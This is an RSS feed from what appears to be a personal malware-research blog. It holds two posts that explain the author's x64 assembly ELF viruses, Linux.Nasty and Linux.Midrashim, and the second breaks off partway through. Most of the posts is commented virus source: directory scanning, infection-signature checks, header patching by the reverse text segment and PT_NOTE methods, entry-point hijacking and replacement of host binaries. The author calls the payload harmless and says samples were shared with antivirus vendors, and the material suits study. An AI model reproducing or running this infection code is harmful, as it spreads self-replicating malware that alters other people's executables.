<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <docs>https://blogs.law.harvard.edu/tech/rss</docs>
    <title>TMZ Lair - Underground Coding</title>
    <link>https://www.guitmz.com/</link>
    <description>Recent content on TMZ Lair - Underground Coding</description>
    <image>
      <title>TMZ Lair - Underground Coding</title>
      <link>https://www.guitmz.com/</link>
      <url>http://img06.deviantart.net/94d5/i/2011/074/7/4/crunchbang_simple_by_mlsandahl-d3bptxx.png</url>
    </image>
    <ttl>1440</ttl>
    <generator>Hugo 0.54.0</generator>
    <language>en-US</language>
    <lastBuildDate>Mon, 26 Aug 2024 10:04:00 UT</lastBuildDate>
    <atom:link href="https://www.guitmz.com/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Linux.Nasty: Assembly x64 ELF virus</title>
      <link>https://www.guitmz.com/linux-nasty-elf-virus/</link>
      <pubDate>Wed, 18 May 2022 08:52:59 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/linux-nasty-elf-virus/</guid>
      <description>Overview This code was originally published in the first issue of tmp.0ut zine - an ELF Research Group founded by me and a super talented group of friends in early 2021. This project was finished literally minutes before the deadline we set. Living on the edge!
In general, it took me around a couple of months to complete it, most of the time was dedicated to its core infection routine since the auxiliary sections are common file I/O operations that I&amp;rsquo;m already familiar with.</description>
      <category domain="https://www.guitmz.com/categories/technology">Technology</category>
      <content:encoded><![CDATA[ Overview This code was originally published in the first issue of tmp.0ut zine - an ELF Research Group founded by me and a super talented group of friends in early 2021. This project was finished literally minutes before the deadline we set. Living on the edge!
In general, it took me around a couple of months to complete it, most of the time was dedicated to its core infection routine since the auxiliary sections are common file I/O operations that I&amp;rsquo;m already familiar with. It was somewhat more challenging than Linux.Midrashim as the technique used here is not as trivial to implement and I want to thank everyone that helped me debug the final version. It was great to have those sessions with all of you, I learned a lot.
This is the fruit of an internal project we had in mind back then. Create an Assembly version of the most common ELF infection techniques out there for demonstration and research purposes.
 Linux.Midrashim was my first one (PT_NOTE -&amp;gt; PT_LOAD technique). Linux.Nasty (Reverse Text Segment technique).  As always (again), the payload is non-destructive, detection is easy and samples were shared with relevant AV companies before release.
How it works Linux.Nasty is a 64 bits Linux infector that targets ELF files in the current directory (non recursively). It uses the Reverse Text Segment infection technique and will only work on regular ELF executables (the design of this method, unfortunately, prevents it from working with PIE). Quoting chapter 4 of the book Learning Linux Binary Analysis by Ryan elfmaster O&amp;rsquo;Neill, which is awesome and you should check it out:
&#34;The idea is that a virus or parasite can make room for its code by extending the text segment in reverse. The program header for the text segment will look strange if you know what you&#39;re looking for.&#34;  Here&amp;rsquo;s the infected file layout (taken from the book mentioned above, slightly modified - full image):
This project was inspired largely by elfmasters Skeksi but the algorithm is slightly modified. Also check the original paper by Silvio Cesare.
Code The virus must be assembled with FASM x64 and its core functionality consists of:
 Reserving space on stack to store some values in memory; Using actual Assembly structs (not like in Linux.Midrashim where I simply used the stack without any Assembly syntax). Improves readability without affecting its functionality in general; Loop through files in the current directory, checking for targets for infection; Try to infect target file (map it to memory, check if it is a good candidate for infection, etc); Continue looping the directory until no more infection targets are available, then exit; The code could be somewhat unreliable as of time of writing because it was a bit rushed so you might need to fix a thing or two before using it on a different system much than the one I used for development (FASM 1.73.27 on Linux 5.11.14-gentoo).  The full code with comments is available at https://github.com/guitmz/nasty and we&amp;rsquo;ll now go over each step above with a bit more detail.
If you need help understanding Linux system calls parameters, feel free to visit my new (work in progress) website: https://syscall.sh and use the API I created recently, which you can find the documentation at https://api.syscall.sh/swagger/index.html.
First things first For the stack buffer, I like to use the r15 register and add the comments below for reference when browsing the code.
; Stack buffer: ; r13 = target temp file fd ; r14 = target mmap addr ; r15 = STAT ; r15 &#43; 150 = patched jmp to OEP ; r15 &#43; 200 = DIRENT.d_name ; r15 &#43; 500 = directory size ; r15 &#43; 600 = DIRENT Then we have the structs definitions, they will be loaded in the stack later with the help of the aforementioned r15 register.
struc DIRENT { .d_ino rq 1 .d_off rq 1 .d_reclen rw 1 .d_type rb 1 label .d_name byte } virtual at 0 DIRENT DIRENT sizeof.DIRENT = $ - DIRENT end virtual struc STAT { .st_dev rq 1 .st_ino rq 1 .st_nlink rq 1 .st_mode rd 1 .st_uid rd 1 .st_gid rd 1 .pad0 rb 4 .st_rdev rq 1 .st_size rq 1 .st_blksize rq 1 .st_blocks rq 1 .st_atime rq 1 .st_atime_nsec rq 1 .st_mtime rq 1 .st_mtime_nsec rq 1 .st_ctime rq 1 .st_ctime_nsec rq 1 } virtual at 0 STAT STAT sizeof.STAT = $ - STAT end virtual struc EHDR { .magic rd 1 .class rb 1 .data rb 1 .elfversion rb 1 .os rb 1 .abiversion rb 1 .pad rb 7 .type rb 2 .machine rb 2 .version rb 4 .entry rq 1 .phoff rq 1 .shoff rq 1 .flags rb 4 .ehsize rb 2 .phentsize rb 2 .phnum rb 2 .shentsize rb 2 .shnum rb 2 .shstrndx rb 2 } virtual at 0 EHDR EHDR sizeof.EHDR = $ - EHDR end virtual struc PHDR { .type rb 4 .flags rd 1 .offset rq 1 .vaddr rq 1 .paddr rq 1 .filesz rq 1 .memsz rq 1 .align rq 1 } virtual at 0 PHDR PHDR sizeof.PHDR = $ - PHDR end virtual struc SHDR { .name rb 4 .type rb 4 .flags rq 1 .addr rq 1 .offset rq 1 .size rq 1 .link rb 4 .info rb 4 .addralign rq 1 .entsize rq 1 .hdr_size = $ - .name } virtual at 0 SHDR SHDR sizeof.SHDR = $ - PHDR end virtual Let&amp;rsquo;s reserve the stack space. Going for 2000 bytes this time, then pointing rsp to r15.
sub rsp, 2000 ; reserving 2000 bytes mov r15, rsp ; r15 has the reserved stack buffer address There are no mechanisms to detect the first execution (first generation) of the virus in Linux.Nasty. I had no time to do anything cool and didn&amp;rsquo;t feel like reusing stuff from other projects.
Target acquired Finding infection targets is nothing special, the code is largely the same (at least the logic is very similar) in most of my projects. We open the current directory in read mode with getdents64 syscall, which will return the number of entries in it. That goes into the stack buffer.
Interesting fact: according to Linus, this syscall is very expensive.
 The locking is such that only one process can be reading a given directory at any given time. If that process must wait for disk I/O, it sleeps holding the inode semaphore and blocks all other readers - even if some of theothers could work with parts of the directory which are already in memory. Why kernel.org is slow  load_dir: push &amp;#34;.&amp;#34; ; pushing &amp;#34;.&amp;#34; to stack (rsp) mov rdi, rsp ; moving &amp;#34;.&amp;#34; to rdi mov rsi, O_RDONLY xor rdx, rdx ; not using any flags mov rax, SYS_OPEN syscall ; rax contains the fd mov r8, rax ; mov fd to r8 temporarily mov rdi, rax ; move fd to rdi lea rsi, [r15 &#43; 600 &#43; DIRENT] ; rsi = dirent in stack mov rdx, DIRENT_BUFSIZE ; buffer with maximum directory size mov rax, SYS_GETDENTS64 syscall mov r9, rax ; r9 now contains the directory entries mov rdi, r8 ; load open dir fd from r8 mov rax, SYS_CLOSE ; close source fd in rdi syscall test r9, r9 ; check directory list was successful js cleanup ; if negative code is returned, I failed and should exit mov qword [r15 &#43; 500], r9 ; [r15 &#43; 500] now holds directory size xor rcx, rcx ; will be the position in the directory entries Looping through files in the current directory looks like this.
 Open a file (read/write mode); Copy its file name to the stack buffer; If the file cannot be opened, skip it and try the next one.  file_loop: push rcx ; preserving rcx (important, used as counter for dirent record length) cmp [rcx &#43; r15 &#43; 600 &#43; DIRENT.d_type], DT_REG ; check if it&amp;#39;s a regular file dirent.d_type jne .continue ; if not, proceed to next file .open_target: push rcx lea rdi, [rcx &#43; r15 &#43; 600 &#43; DIRENT.d_name] ; dirent.d_name from stack mov rsi, O_RDWR ; opening target in read write mode xor rdx, rdx ; not using any flags mov rax, SYS_OPEN syscall test rax, rax ; if can&amp;#39;t open file, try next one js .continue ; this also kinda prevents self infection since you cannot open a running file in write mode (which will happen during first execution) mov r8, rax ; load r8 with source fd from rax xor rax, rax ; clearing rax, will be used to copy host filename to stack buffer pop rcx lea rsi, [rcx &#43; r15 &#43; 600 &#43; DIRENT.d_name] ; put address into the source index lea rdi, [r15 &#43; 200] ; put address into the destination index (that is in stack buffer at [r15 &#43; 200]) .copy_host_name: mov al, [rsi] ; copy byte at address in rsi to al inc rsi ; increment address in rsi mov [rdi], al ; copy byte in al to address in rdi inc rdi ; increment address in rdi cmp al, 0 ; see if its an ascii zero jne .copy_host_name ; jump back and read next byte if not ... .continue: pop rcx ; restore rcx, used as counter for directory length add cx, [rcx &#43; r15 &#43; 600 &#43; DIRENT.d_reclen] ; adding directory record length to cx (lower rcx, for word) cmp rcx, qword [r15 &#43; 500] ; comparing rcx counter with directory records total size jne file_loop ; if counter is not the same, continue loop The target file is then mapped to memory for further checks and/or manipulation.
 Get file information with fstat; Map the file with mmap; Check if the file is a valid ELF x86_64 binary; Check if the file is already infected.  .map_target: mov rdi, r8 ; load source fd to rdi lea rsi, [r15 &#43; STAT] ; load fstat struct to rsi mov rax, SYS_FSTAT syscall ; fstat struct in stack conntains target file information xor rdi, rdi ; operating system will choose mapping destination mov rsi, [r15 &#43; STAT.st_size] ; load rsi with file size from fstat.st_size in stack mov rdx, PROT_READ or PROT_WRITE ; protect RW = PROT_READ (0x01) | PROT_WRITE (0x02) mov r10, MAP_PRIVATE ; pages will be private xor r9, r9 ; offset inside source file (zero means start of source file) mov rax, SYS_MMAP syscall ; now rax will point to mapped location push rax ; push mmap addr to stack mov rdi, r8 ; rdi is now target fd mov rax, SYS_CLOSE ; close source fd in rdi syscall pop rax ; restore mmap addr from stack test rax, rax ; test if mmap was successful js .continue ; skip file if not .is_elf: cmp [rax &#43; EHDR.magic], 0x464c457f ; 0x464c457f means .ELF (dword, little-endian) jnz .continue ; not an ELF binary, close and continue to next file if any .is_64: cmp [rax &#43; EHDR.class], ELFCLASS64 ; check if target ELF is 64bit jne .continue ; skipt it if not cmp [rax &#43; EHDR.machine], EM_X86_64 ; check if target ELF is x86_64 architechture jne .continue ; skip it if not .is_infected: cmp dword [rax &#43; EHDR.pad], 0x005a4d54 ; check signature in ehdr.pad (TMZ in little-endian, plus trailing zero to fill up a word size) jz .continue ; already infected, close and continue to next file if any If all checks pass, calls infect routine.
.infection_candidate: call infect ; calls infection routine Crafting something great Here lies the core part of the code.
It starts by loading r9 to the Program Headers offset based on rax (I move this to r14 to make it easier to use since rax is required for a bunch of other operations), which now points to the base address of the memory mapped target file.
r12 points to the Section Headers offset.
infect: push rbp ; save the stack frame of the caller mov rbp, rsp ; save the stack pointer mov r14, rax ; r14 = pointer to target bytes (memory map address) mov r9, [r14 &#43; EHDR.phoff] ; set r9 to offset of PHDRs mov r12, [r14 &#43; EHDR.shoff] ; set r12 to offset of SHDRs xor rbx, rbx ; initializing phdr loop counter in rbx xor rcx, rcx ; initializing shdr loop counter in rdx For each program header, some checks are performed. We need to patch all phdrs and the .text segment requires special attention.
We assume PAGE_SIZE to be 4096 bytes here but ideally it should be calculated dynamically.
First, verify if its type is PT_LOAD:
 if yes, is it the .text segment?  if we got it, patch it following the Reverse Text Segment method, slightly modified in this case for demonstration: p_vaddr is decreased by 2 * PAGE_SIZE; p_filesz is increased by 2 * PAGE_SIZE; p_memsz is increased by 2 * PAGE_SIZE; p_offset is decreased by PAGE_SIZE;  if not, we just increase this header p_offset by PAGE_SIZE.  .loop_phdr: cmp [r14 &#43; r9 &#43; PHDR.type], PT_LOAD ; check if phdr.type is PT_LOAD jnz .not_txt_segment ; if not, patch it as needed cmp [r14 &#43; r9 &#43; PHDR.flags], PF_R or PF_X ; check if PT_LOAD is text segment jnz .not_txt_segment ; if not, patch it as needed .txt_segment: sub [r14 &#43; r9 &#43; PHDR.vaddr], 2 * PAGE_SIZE ; decrease p_vaddr by 2 times PAGE_SIZE add [r14 &#43; r9 &#43; PHDR.filesz], 2 * PAGE_SIZE ; increase p_filesz by 2 times PAGE_SIZE add [r14 &#43; r9 &#43; PHDR.memsz], 2 * PAGE_SIZE ; increase p_memsz by 2 times PAGE_SIZE sub [r14 &#43; r9 &#43; PHDR.offset], PAGE_SIZE ; decrease p_offset by PAGE_SIZE mov r8, [r14 &#43; r9 &#43; PHDR.vaddr] ; contains .text segment patched vaddr, will be used to patch entrypoint jmp .next_phdr ; proceed to next phdr .not_txt_segment: add [r14 &#43; r9 &#43; PHDR.offset], PAGE_SIZE ; patching p_offset of phdrs that are not the .text segment (increase by PAGE_SIZE) .next_phdr: inc bx ; increase phdr bx counter cmp bx, word [r14 &#43; EHDR.phnum] ; check if we looped through all phdrs already jge .loop_shdr ; exit loop if yes add r9w, word [r14 &#43; EHDR.phentsize] ; otherwise, add current ehdr.phentsize into r9w jnz .loop_phdr ; read next phdr Section headers also require their offsets to be increased by PAGE_SIZE. Let&amp;rsquo;s do this now.
.loop_shdr: add [r14 &#43; r12 &#43; SHDR.offset], PAGE_SIZE ; increase shdr.offset by PAGE_SIZE .next_shdr: inc cx ; increase shdr cx counter cmp cx, word [r14 &#43; EHDR.shnum] ; check if we looped through all shdrs already jge .create_temp_file ; exit loop if yes add r12w, word [r14 &#43; EHDR.shentsize] ; otherwise, add current ehdr.shentsize into r12w jnz .loop_shdr ; read next shdr Before continuing with patching the ELF header, we create a temporary file named .nty.tmp which will contain our final infected target. There are other ways to do this, explore at your leisure.
.create_temp_file: push 0 mov rax, 0x706d742e79746e2e ; pushing &amp;#34;.nty.tmp\0&amp;#34; to stack push rax ; this will be the temporary file name, not great but it&amp;#39;s for demonstration only mov rdi, rsp mov rsi, 755o ; -rw-r--r-- mov rax, SYS_CREAT ; creating temporary file syscall test rax, rax ; check if temporary file creation worked js .infect_fail ; if negative code is returned, I failed and should exit mov r13, rax ; r13 now contains temporary file fd Patching the ELF header is trivial here, we account for the phdrs and shdrs changes made earlier. Increasing phoff and shoff by PAGE_SIZE will do.
The infection signature is then added and the entry point is modified to point to the patched .text segment.
As an empty temporary file was already created, the patched ehdr is now going to be written to it at position 0.
.patch_ehdr: mov r10, [r14 &#43; EHDR.entry] ; set host OEP to r10 add [r14 &#43; EHDR.phoff], PAGE_SIZE ; increment ehdr-&amp;gt;phoff by PAGE_SIZE add [r14 &#43; EHDR.shoff], PAGE_SIZE ; increment ehdr-&amp;gt;shoff by PAGE_SIZE mov dword [r14 &#43; EHDR.pad], 0x005a4d54 ; add signature in ehdr.pad (TMZ in little-endian, plus trailing zero to fill up a word size) add r8, EHDR_SIZE ; add EHDR size to r8 (patched .text segment vaddr) mov [r14 &#43; EHDR.entry], r8 ; set new EP to value of r8 mov rdi, r13 ; target fd from r13 mov rsi, r14 ; mmap *buff from r14 mov rdx, EHDR_SIZE ; sizeof ehdr mov rax, SYS_WRITE ; write patched ehdr to target host syscall cmp rax, 0 jbe .infect_fail Right after the ehdr, the virus body is added to the temporary file.
.write_virus_body: call .delta ; the age old trick .delta: pop rax sub rax, .delta mov rdi, r13 ; target temporary fd from r13 lea rsi, [rax &#43; v_start] ; load *v_start mov rdx, V_SIZE ; virus body size mov rax, SYS_WRITE syscall cmp rax, 0 jbe .infect_fail Additionally, a way to give control back to the original target code is required, so a small jmp is added (in this case, it&amp;rsquo;s a push/ret), which will do just that after the virus execution finishes on an infected file.
.write_patched_jmp: mov byte [r15 &#43; 150], 0x68 ; 68 xx xx xx xx c3 (this is the opcode for &amp;#34;push addr&amp;#34; and &amp;#34;ret&amp;#34;) mov dword [r15 &#43; 151], r10d ; on the stack buffer, prepare the jmp to host EP instruction mov byte [r15 &#43; 155], 0xc3 ; this is the last thing to run after virus execution, before host takes control mov rdi, r13 ; r9 contains fd lea rsi, [r15 &#43; 150] ; rsi = patched push/ret in stack buffer = [r15 &#43; 150] mov rdx, 6 ; size of push/ret mov rax, SYS_WRITE syscall The original host code (minus its ehdr) can now be placed into the temporary file with PAGE_SIZE used as padding. The length of the code above (6 bytes) also has to be taken into consideration in this step.
.write_everything_else: mov rdi, r13 ; get temporary fd from r13 mov rsi, PAGE_SIZE sub rsi, V_SIZE &#43; 6 ; rsi = PAGE_SIZE &#43; sizeof(push/ret) mov rdx, SEEK_CUR mov rax, SYS_LSEEK ; moves fd pointer to position right after PAGE_SIZE &#43; 6 bytes syscall mov rdi, r13 lea rsi, [r14 &#43; EHDR_SIZE] ; start from after ehdr on target host mov rdx, [r15 &#43; STAT.st_size] ; get size of host file from stack sub rdx, EHDR_SIZE ; subtract EHDR size from it (since we already have written an EHDR) mov rax, SYS_WRITE ; write rest of host file to temporary file syscall mov rax, SYS_SYNC ; commiting filesystem caches to disk syscall To finish the infection routine, the target file is unmapped from memory and the crafted temporary file is closed.
The temporary file is renamed to match the target file name and the routine will return to a previous address to execute the payload and some final cleanup code.
.end: mov rdi, r14 ; gets mmap address from r14 into rdi mov rsi, [r15 &#43; STAT.st_size] ; gets size of host file from stack buffer mov rax, SYS_MUNMAP ; unmapping memory buffer syscall mov rdi, r13 ; rdi is now temporary file fd mov rax, SYS_CLOSE ; close temporary file fd syscall push 0 mov rax, 0x706d742e79746e2e ; pushing &amp;#34;.nty.tmp\0&amp;#34; to stack push rax ; as you know by now, this should have been done in a better way :) mov rdi, rsp ; get temporary file name from stack into rdi lea rsi, [r15 &#43; 200] ; sets rsi to the address of the host file name from stack buffer mov rax, SYS_RENAME ; replace host file with temporary file (sort of like &amp;#34;mv tmp_file host_file&amp;#34;) syscall mov rax, 0 ; infection seems to have worked, set rax to zero as marker mov rsp, rbp ; restore the stack pointer pop rbp ; restore the caller&amp;#39;s stack frame jmp .infect_ret ; returns with success .infect_fail: mov rax, 1 ; infection falied, set rax to 1 and as marker .infect_ret: ret Ciao The payload consists of a simple text message, displayed to stdout. Nothing else.
Afterwards, the virus will &amp;ldquo;give back&amp;rdquo; the bytes it reserved in the beginning of its code, clear rdx register (because ABI), and exit.
call payload ; by calling payload label, we set msg label address on stack msg: db 0x4e, 0x61, 0x73, 0x74, 0x79, 0x20, 0x62, 0x79, 0x20, 0x54, 0x4d, 0x5a, 0x20, 0x28, 0x63, 0x29, 0x20, 0x32, 0x30, 0x32, 0x31, 0x0a, 0x0a db 0x4e, 0x61, 0x73, 0x74, 0x79, 0x2c, 0x20, 0x6e, 0x61, 0x73, 0x74, 0x79, 0x0a db 0x54, 0x72, 0x69, 0x70, 0x6c, 0x65, 0x20, 0x58, 0x20, 0x72, 0x61, 0x74, 0x65, 0x64, 0x0a db 0x4e, 0x61, 0x73, 0x74, 0x79, 0x2c, 0x20, 0x6e, 0x61, 0x73, 0x74, 0x79, 0x0a db 0x4a, 0x75, 0x73, 0x74, 0x69, 0x63, 0x65, 0x2c, 0x20, 0x61, 0x20, 0x77, 0x61, 0x73, 0x74, 0x65, 0x2d, 0x70, 0x69, 0x74, 0x0a db 0x4e, 0x61, 0x73, 0x74, 0x79, 0x2c, 0x20, 0x6e, 0x61, 0x73, 0x74, 0x79, 0x0a db 0x44, 0x65, 0x65, 0x70, 0x65, 0x72, 0x20, 0x69, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x64, 0x69, 0x72, 0x74, 0x0a db 0x4e, 0x61, 0x73, 0x74, 0x79, 0x2c, 0x20, 0x6e, 0x61, 0x73, 0x74, 0x79, 0x0a db 0x4d, 0x61, 0x6b, 0x69, 0x6e, 0x67, 0x20, 0x62, 0x6f, 0x64, 0x69, 0x65, 0x73, 0x20, 0x68, 0x75, 0x72, 0x74, 0x0a, 0x0a len = $-msg payload: pop rsi ; gets msg address from stack into rsi mov rax, SYS_WRITE mov rdi, STDOUT ; display payload mov rdx, len syscall jmp cleanup ; finishes execution ... cleanup: add rsp, 2000 ; restoring stack so host process can run normally, this also could use some improvement xor rdx, rdx ; clearing rdx before giving control to host (rdx a function pointer that the application should register with atexit - from x64 ABI) v_stop: xor rdi, rdi ; exit code 0 mov rax, SYS_EXIT syscall Demo 
Outro This was such an amazing project. Not only I was able to learn even more about the ELF format, but I also had people that I respect and admire involved.
This post was also delayed for quite a bit, our zine even had a second release by now. I am so proud of it and I hope that tmp.0ut continues to thrive and gather people from all around the world that wants to share knowledge and, more importantly, have fun.
TMZ
]]></content:encoded>
    </item>
    <item>
      <title>Linux.Midrashim: Assembly x64 ELF virus</title>
      <link>https://www.guitmz.com/linux-midrashim-elf-virus/</link>
      <pubDate>Mon, 18 Jan 2021 19:01:11 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/linux-midrashim-elf-virus/</guid>
      <description>Overview My interest in Assembly language started when I was a kid, mainly because of computer viruses of the DOS era. I&amp;rsquo;ve spent countless hours contemplating my first humble collection of source codes and samples (you can find it at https://github.com/guitmz/virii) and to me, it&amp;rsquo;s cool how flexible and creative one can get with Assembly, even if its learning curve is steep.
I&amp;rsquo;m an independant malware researcher and wrote this virus to learn and have fun, expanding my knowledge on the several ELF attack/defense techniques and Assembly in general.</description>
      <category domain="https://www.guitmz.com/categories/technology">Technology</category>
      <content:encoded><![CDATA[ Overview My interest in Assembly language started when I was a kid, mainly because of computer viruses of the DOS era. I&amp;rsquo;ve spent countless hours contemplating my first humble collection of source codes and samples (you can find it at https://github.com/guitmz/virii) and to me, it&amp;rsquo;s cool how flexible and creative one can get with Assembly, even if its learning curve is steep.
I&amp;rsquo;m an independant malware researcher and wrote this virus to learn and have fun, expanding my knowledge on the several ELF attack/defense techniques and Assembly in general.
The code does not implement any evasion techniques and detection is trivial. Samples were also shared with a few major Antivirus companies prior to the release of this code and signatures were created, such as Linux/Midrashim.A by ESET. I&amp;rsquo;m also working on a vaccine which will be available at a later date. I&amp;rsquo;ll update this post when it&amp;rsquo;s ready.
The payload is not destructive, as usual. It just prints the harmless lyrics of Ozar Midrashim song to stdout and the layout of an infected file is the following (full image):
How it works Midrashim is a 64 bits Linux infector that targets ELF files in the current directory (non recursively). It relies on the well known PT_NOTE -&amp;gt; PT_LOAD infection technique and should work on regular and position independent binaries. This method has a high success rate and it&amp;rsquo;s easy to implement (and detect). Read more about it here.
It will not work on Golang executables, because those need the PT_NOTE segment to run properly (infection works, but infected file will segfault after virus execution).
For simplicity&amp;rsquo;s sake, it makes use of pread64 and pwrite64 to read/write specific locations in the target file when it should use mmap instead, for flexibility and reliability. A few other things could be improved too, like detecting first virus execution with a better approach and more error handling to minimize pitfalls.
I had so many ideas for the payload of Midrashim, from inspiration I got from projects at http://www.pouet.net/ to controlling the terminal with ANSI escape codes (more on that here - which is something I wrote with Midrashim in mind).
Due to lack of free time and given the complexity of implementing such things in Assembly, specially in a code of this nature, I ended up with something simpler and will probably revisit this subject on a future project.
Code This is my first full assembly infector and should be assembled with FASM x64. Its core functionality consists of:
 Reserving space on stack to store values in memory Checking if its virus first run (displays a different payload message if running for the first time) Open current directory for reading Loop through files in the directory, checking for targets for infection Try to infect target file Continue looping the directory until no more infection targets are available, then exit  Full code with comments is available at https://github.com/guitmz/midrashim and we&amp;rsquo;ll now go over each step above with a bit more detail.
If you need help understanding Linux system calls parameters, feel free to visit my new (work in progress) website: https://syscall.sh
The secret of getting ahead is getting started For the stack buffer, I used r15 register and added the comments below for reference when browsing the code.
Note the values, for example, the ELF header, which is 64 bytes long. Since r15 &#43; 144 represents its start, it should end at r15 &#43; 207. The values in between are also accounted for, like ehdr.entry that starts at r15 &#43; 168, which is 8 bytes long, ends at r15 &#43; 175.
; r15 &#43; 0 = stack buffer = stat ; r15 &#43; 48 = stat.st_size ; r15 &#43; 144 = ehdr ; r15 &#43; 148 = ehdr.class ; r15 &#43; 152 = ehdr.pad ; r15 &#43; 168 = ehdr.entry ; r15 &#43; 176 = ehdr.phoff ; r15 &#43; 198 = ehdr.phentsize ; r15 &#43; 200 = ehdr.phnum ; r15 &#43; 208 = phdr = phdr.type ; r15 &#43; 212 = phdr.flags ; r15 &#43; 216 = phdr.offset ; r15 &#43; 224 = phdr.vaddr ; r15 &#43; 232 = phdr.paddr ; r15 &#43; 240 = phdr.filesz ; r15 &#43; 248 = phdr.memsz ; r15 &#43; 256 = phdr.align ; r15 &#43; 300 = jmp rel ; r15 &#43; 350 = directory size ; r15 &#43; 400 = dirent = dirent.d_ino ; r15 &#43; 416 = dirent.d_reclen ; r15 &#43; 418 = dirent.d_type ; r15 &#43; 419 = dirent.d_name ; r15 &#43; 3000 = first run control flag ; r15 &#43; 3001 = decoded payload Reserving stack space is easy, there are different ways of doing it, one is to subtract from rsp, then just store it in r15. Also right on start, we store argv0 to r14 (it&amp;rsquo;s going to be needed next) and we push rdx and rsp, which need to be restored before the end of virus execution, so the infected file can run properly.
v_start: mov r14, [rsp &#43; 8] ; saving argv0 to r14 push rdx push rsp sub rsp, 5000 ; reserving 5000 bytes mov r15, rsp ; r15 has the reserved stack buffer address To check for the virus first execution, we get argv0 size in bytes and compare to the final virus size, which was stored in V_SIZE. If greater, it&amp;rsquo;s not the first run and we set a control value into a place in the stack buffer for later use. This was a last minute addition that it&amp;rsquo;s not great (but pretty easy to implement and rather obvious).
check_first_run: mov rdi, r14 ; argv0 to rdi mov rsi, O_RDONLY xor rdx, rdx ; not using any flags mov rax, SYS_OPEN syscall ; rax contains the argv0 fd mov rdi, rax mov rsi, r15 ; rsi = r15 = stack buffer address mov rax, SYS_FSTAT ; getting argv0 size in bytes syscall ; stat.st_size = [r15 &#43; 48] cmp qword [r15 &#43; 48], V_SIZE ; compare argv0 size with virus size jg load_dir ; if greater, not first run, continue infecting without setting control flag mov byte [r15 &#43; 3000], FIRST_RUN ; set the control flag to [r15 &#43; 3000] to represent virus first execution The Wild Hunt We need to find targets to infect. For that we&amp;rsquo;ll open the current directory for reading using getdents64 syscall, which will return the number of entries in it. That goes into the stack buffer.
load_dir: push &amp;#34;.&amp;#34; ; pushing &amp;#34;.&amp;#34; to stack (rsp) mov rdi, rsp ; moving &amp;#34;.&amp;#34; to rdi mov rsi, O_RDONLY xor rdx, rdx ; not using any flags mov rax, SYS_OPEN syscall ; rax contains the fd pop rdi cmp rax, 0 ; if can&amp;#39;t open file, exit now jbe v_stop mov rdi, rax ; move fd to rdi lea rsi, [r15 &#43; 400] ; rsi = dirent = [r15 &#43; 400] mov rdx, DIRENT_BUFSIZE ; buffer with maximum directory size mov rax, SYS_GETDENTS64 syscall ; dirent contains the directory entries test rax, rax ; check directory list was successful js v_stop ; if negative code is returned, I failed and should exit mov qword [r15 &#43; 350], rax ; [r15 &#43; 350] now holds directory size mov rax, SYS_CLOSE ; close source fd in rdi syscall xor rcx, rcx ; will be the position in the directory entries Now the hunt gets a little more&amp;hellip; wild, as we loop through each file from directory listing we just performed. Steps performed:
 Open target file Validate that it&amp;rsquo;s an ELF and 64 bits (by verifying its magic number and class information from its header) Check if already infected (by looking for the infection mark that should be set in ehdr.pad) and  if yes, move to next file, until all files in the directory are checked If not, loop through the target Program Headers, looking for a PT_NOTE section, starting the infection process upon finding it   file_loop: push rcx ; preserving rcx cmp byte [rcx &#43; r15 &#43; 418], DT_REG ; check if it&amp;#39;s a regular file dirent.d_type = [r15 &#43; 418] jne .continue ; if not, proceed to next file .open_target_file: lea rdi, [rcx &#43; r15 &#43; 419] ; dirent.d_name = [r15 &#43; 419] mov rsi, O_RDWR xor rdx, rdx ; not using any flags mov rax, SYS_OPEN syscall cmp rax, 0 ; if can&amp;#39;t open file, exit now jbe .continue mov r9, rax ; r9 contains target fd .read_ehdr: mov rdi, r9 ; r9 contains fd lea rsi, [r15 &#43; 144] ; rsi = ehdr = [r15 &#43; 144] mov rdx, EHDR_SIZE ; ehdr.size mov r10, 0 ; read at offset 0 mov rax, SYS_PREAD64 syscall .is_elf: cmp dword [r15 &#43; 144], 0x464c457f ; 0x464c457f means .ELF (little-endian) jnz .close_file ; not an ELF binary, close and continue to next file if any .is_64: cmp byte [r15 &#43; 148], ELFCLASS64 ; check if target ELF is 64bit jne .close_file ; skipt it if not .is_infected: cmp dword [r15 &#43; 152], 0x005a4d54 ; check signature in [r15 &#43; 152] ehdr.pad (TMZ in little-endian, plus trailing zero to fill up a word size) jz .close_file ; already infected, close and continue to next file if any mov r8, [r15 &#43; 176] ; r8 now holds ehdr.phoff from [r15 &#43; 176] xor rbx, rbx ; initializing phdr loop counter in rbx xor r14, r14 ; r14 will hold phdr file offset .loop_phdr: mov rdi, r9 ; r9 contains fd lea rsi, [r15 &#43; 208] ; rsi = phdr = [r15 &#43; 208] mov dx, word [r15 &#43; 198] ; ehdr.phentsize is at [r15 &#43; 198] mov r10, r8 ; read at ehdr.phoff from r8 (incrementing ehdr.phentsize each loop iteraction) mov rax, SYS_PREAD64 syscall cmp byte [r15 &#43; 208], PT_NOTE ; check if phdr.type in [r15 &#43; 208] is PT_NOTE (4) jz .infect ; if yes, start infecting inc rbx ; if not, increase rbx counter cmp bx, word [r15 &#43; 200] ; check if we looped through all phdrs already (ehdr.phnum = [r15 &#43; 200]) jge .close_file ; exit if no valid phdr for infection was found add r8w, word [r15 &#43; 198] ; otherwise, add current ehdr.phentsize from [r15 &#43; 198] into r8w jnz .loop_phdr ; read next phdr Reproductive System 101 Did I already mention it was going to get wild? Just kidding, it&amp;rsquo;s not really that complicated, just long. It goes like this:
